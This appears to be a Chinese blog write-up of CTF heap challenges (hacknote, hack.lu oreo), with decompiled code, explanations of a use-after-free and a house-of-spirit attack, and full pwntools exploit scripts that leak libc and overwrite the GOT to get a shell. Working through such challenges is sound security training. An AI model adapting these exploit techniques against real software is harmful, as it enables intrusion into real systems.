登录后台

页面导航

本文编写于 410 天前,最后修改于 124 天前,其中某些信息可能已经过时。

hitcon-training-hacknote

程序分析

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

没开pie保护

----------------------
       HackNote       
----------------------
 1. Add note          
 2. Delete note       
 3. Print note        
 4. Exit              
----------------------

delete函数存在uaf漏洞

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
  {
    free(*((void **)notelist[v1] + 1));
    free(notelist[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

漏洞利用

from pwn import *

p = process('./hacknote')
elf = ELF('hacknote')
libc = elf.libc
#one_gadget = 0x3a819
context.log_level = 'debug'
def add(size,content):
    p.sendlineafter('choice :',str(1))
    p.sendlineafter('size :',str(size))
    p.sendlineafter('Content :',str(content))
def delete(index):
    p.sendlineafter('choice :',str(2))
    p.sendlineafter('Index :',str(index))
def show(index):
    p.sendlineafter('choice :',str(3))
    p.sendlineafter('Index :',str(index))
ptr = 0x08048986
add(0x20, 'aaaa')
add(0x20, 'bbbb')
delete(0)
delete(1)
add(0x8, p32(ptr))
show(0)
p.interactive()

2014 hack.lu oreo

程序分析

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Welcome to the OREO Original Rifle Ecommerce Online System!

     ,______________________________________
    |_________________,----------._ [____]  -,__  __....-----=====
                   (_(||||||||||||)___________/                   |
                      `----------'   OREO [ ))"-,                   |
                                           ""    `,  _,--....___    |
                                                   `/           """"
    
What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!

这是一个买枪系统,Add new rifle是往购物车添加一款枪,Show added rifles是查看购物车有哪些枪,Order selected rifles是购买购物车里的枪,Leave a Message with your Order是添加备注,Show current stats是查看订单

add函数:

unsigned int add()
{
  rifle *v1; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  v1 = head;
  head = (rifle *)malloc(56u);
  if ( head )
  {
    head->next = v1;    //next-->off=0x34
    printf("Rifle name: ");
    fgets(head->name, 0x38, stdin);    //name[27]-->off=0x19
    cut_enter(head->name);
    printf("Rifle description: ");
    fgets(head->descript, 0x38, stdin);    //descript[25]-->off=0
    cut_enter(head->descript);
    ++rifle_cnt;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
}

fgets函数没有控制输入的数据大小,因此这里存在溢出

根据伪代码我么可以得知head是一个单向链表,头结点插入法

struct head{
    char name[27];
    char descript[25];
    *next;
    }

cut_enter函数将最后一个字节截断了

unsigned int __cdecl cut_enter(const char *a1)
{
  size_t v1; // edx
  char *v3; // [esp+28h] [ebp-10h]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = strlen(a1) - 1;
  v3 = &a1[v1];
  if ( &a1[v1] >= a1 && *v3 == '\n' )
    *v3 = 0;
  return __readgsdword(0x14u) ^ v4;
}

delete函数没问题,但因为这是单向链表,head指针始终指向的是最后一个堆(也就是链表头),而这里的delete函数也只是清空了最后一个堆的内容,并将head指针置0;

漏洞利用

思路:题目里有堆溢出,我们可以通过堆溢出溢出到结构体的next指针,让next指针指向got表某一项,从而泄露出地址,进而求出libc的地址,求出libc的地址过后,在利用house of sprit,free掉一个自己伪造的chunk,进而达到覆写got表成one_gadget,然后通过调用该函数获得权限

1.泄露libc基址

add('a'*27+p32(elf.got['puts']),'a'*25)
show()
libc_base = u32(p.recv()[103:106].ljust(4,'\x00')) - libc.symbols['puts']
log.success('libc:'+hex(libc_base))

2.在bss段上分配chunk

要在bss段上分配堆,首先需要堆上有合适的size以满足malloc(0x38)的条件。这里我们需要的size为0x40,这是因为我们的枪支结构的内容大小为0x38,因此整个chunk的size就为0x40。而如果data段是从0x0804a2a8开始,那么size就位于0x0804a2a8-4=0x0804a2a4处,观察一下这里刚好是number的地址,因此我们就需要在分配到0x0804a2a8前添加0x40次。

for i in range(38):
    add('a'*27,str(i))
add('a'*27+p32(0804A2A8),'a')

注意这里每个chunk的last_heap都要设置成NULL,因为在后面delete的时候是依次free,这样才不会将这些chunk放入fastbin中。
再添加一次chunk,将last_heap设置成0x0804a2a8,这样在free一次后会将指针设置成last_heap,再将其free放入fastbin,这样下次malloc的时候就会将最近放入fastbin中的chunk返回,也就是我们的0x0804a2a8。

这里有个地方需要绕过:next_chunksize

if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))    //大于一个header
                          <= 2 * SIZE_SZ, 0)//SIZE_SZ是系统单位字节数
        || __builtin_expect (chunksize (chunk_at_offset (p, size))    
                             >= av->system_mem, 0))
      {
        bool fail = true;
        /* We might not have a lock at this point and concurrent modifications
           of system_mem might result in a false positive.  Redo the test after
           getting the lock.  */
        if (!have_lock)
          {
            __libc_lock_lock (av->mutex);
            fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
                    || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
            __libc_lock_unlock (av->mutex);
          }
        if (fail)
          malloc_printerr ("free(): invalid next size (fast)");
      }

3.绕过检测
(1)对齐检查:在此处的检查中,要求堆块具有16bytes对齐,所以chunk header的起始地址应为0x**0的形式。

(2)fake chunk 的size大小检查:按照上文中chunk的结构布局,使当前fake chunk的size为合适的大小,能够充足利用并且加入fastbin(0x10-0x80),

(3)next chunk 的size大小检查:除了当前chunk的大小,与目标地址物理相邻的内存空间也应按照堆块的结构将size位置改写为能够加入fastbin的合适的大小的数值。

(4)标记位检查:This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREVINUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the ISMMAPPED (second lsb) and _NON_MAIN_ARENA (third lsb) bits cause problems…. note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.

payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(0x34, 'b')
payload += p32(0)
payload = payload.ljust(0x80, 'c')
edit(payload)
delete()
p.recvuntil('Okay order submitted!\n')

4.覆写got表

payload = p32(elf.got['strlen'])
payload = payload.ljust(25,'a')
add('b'*27 + p32(0), payload)
payload = p32(sys_addr) + ";/bin/sh\x00"
edit(payload)
p.interactive()

这里ctf-wiki用的是strlen表,然后这里有个小细节。。。记得第二个位置才是结构体的开头,所以payload要放在add的第二个位置,构造payload为strlen的地址,然后在用edit函数进行编辑

这里是调用strlen,strlen求的是payload长度,所以相当于system(payload)
也就是相当于system(p32(sys_addr)+";/bin/sh")

exp:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./oreo"
oreo = ELF("./oreo")
if args['REMOTE']:
    p = remote(ip, port)
else:
    p = process("./oreo")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')


def add(descrip, name):
    p.sendline('1')
    #p.recvuntil('Rifle name: ')
    p.sendline(name)
    #p.recvuntil('Rifle description: ')
    #sleep(0.5)
    p.sendline(descrip)


def show_rifle():
    p.sendline('2')
    p.recvuntil('===================================\n')


def order():
    p.sendline('3')


def message(notice):
    p.sendline('4')
    #p.recvuntil("Enter any notice you'd like to submit with your order: ")
    p.sendline(notice)


def exp():
    print 'step 1. leak libc base'
    name = 27 * 'a' + p32(oreo.got['puts'])
    add(25 * 'a', name)
    show_rifle()
    p.recvuntil('===================================\n')
    p.recvuntil('Description: ')
    puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))

    print 'step 2. free fake chunk at 0x0804A2A8'

    # now, oifle_cnt=1, we need set it = 0x40
    oifle = 1
    while oifle < 0x3f:
        # set next link=NULL
        add(25 * 'a', 'a' * 27 + p32(0))
        oifle += 1
    payload = 'a' * 27 + p32(0x0804a2a8)
    # set next link=0x0804A2A8, try to free a fake chunk
    add(25 * 'a', payload)
    # before free, we need to bypass some check
    # fake chunk's size is 0x40
    # 0x20 *'a' for padding the last fake chunk
    # 0x40 for fake chunk's next chunk's prev_size
    # 0x100 for fake chunk's next chunk's size
    # set fake iofle' next to be NULL
    payload = 0x20 * '\x00' + p32(0x40) + p32(0x100)
    payload = payload.ljust(52, 'b')
    payload += p32(0)
    payload = payload.ljust(128, 'c')
    message(payload)
    # fastbin 0x40: 0x0804A2A0->some where heap->NULL
    order()
    p.recvuntil('Okay order submitted!\n')

    print 'step 3. get shell'
    # modify free@got to system addr
    payload = p32(oreo.got['strlen']).ljust(20, 'a')
    add(payload, 'b' * 20)
    log.success('system addr: ' + hex(system_addr))
    #gdb.attach(p)
    message(p32(system_addr) + ';/bin/sh\x00')

    p.interactive()


if __name__ == "__main__":
    exp()

2015 9447 CTF : Search Engine

https://bbs.pediy.com/thread-247219-1.htm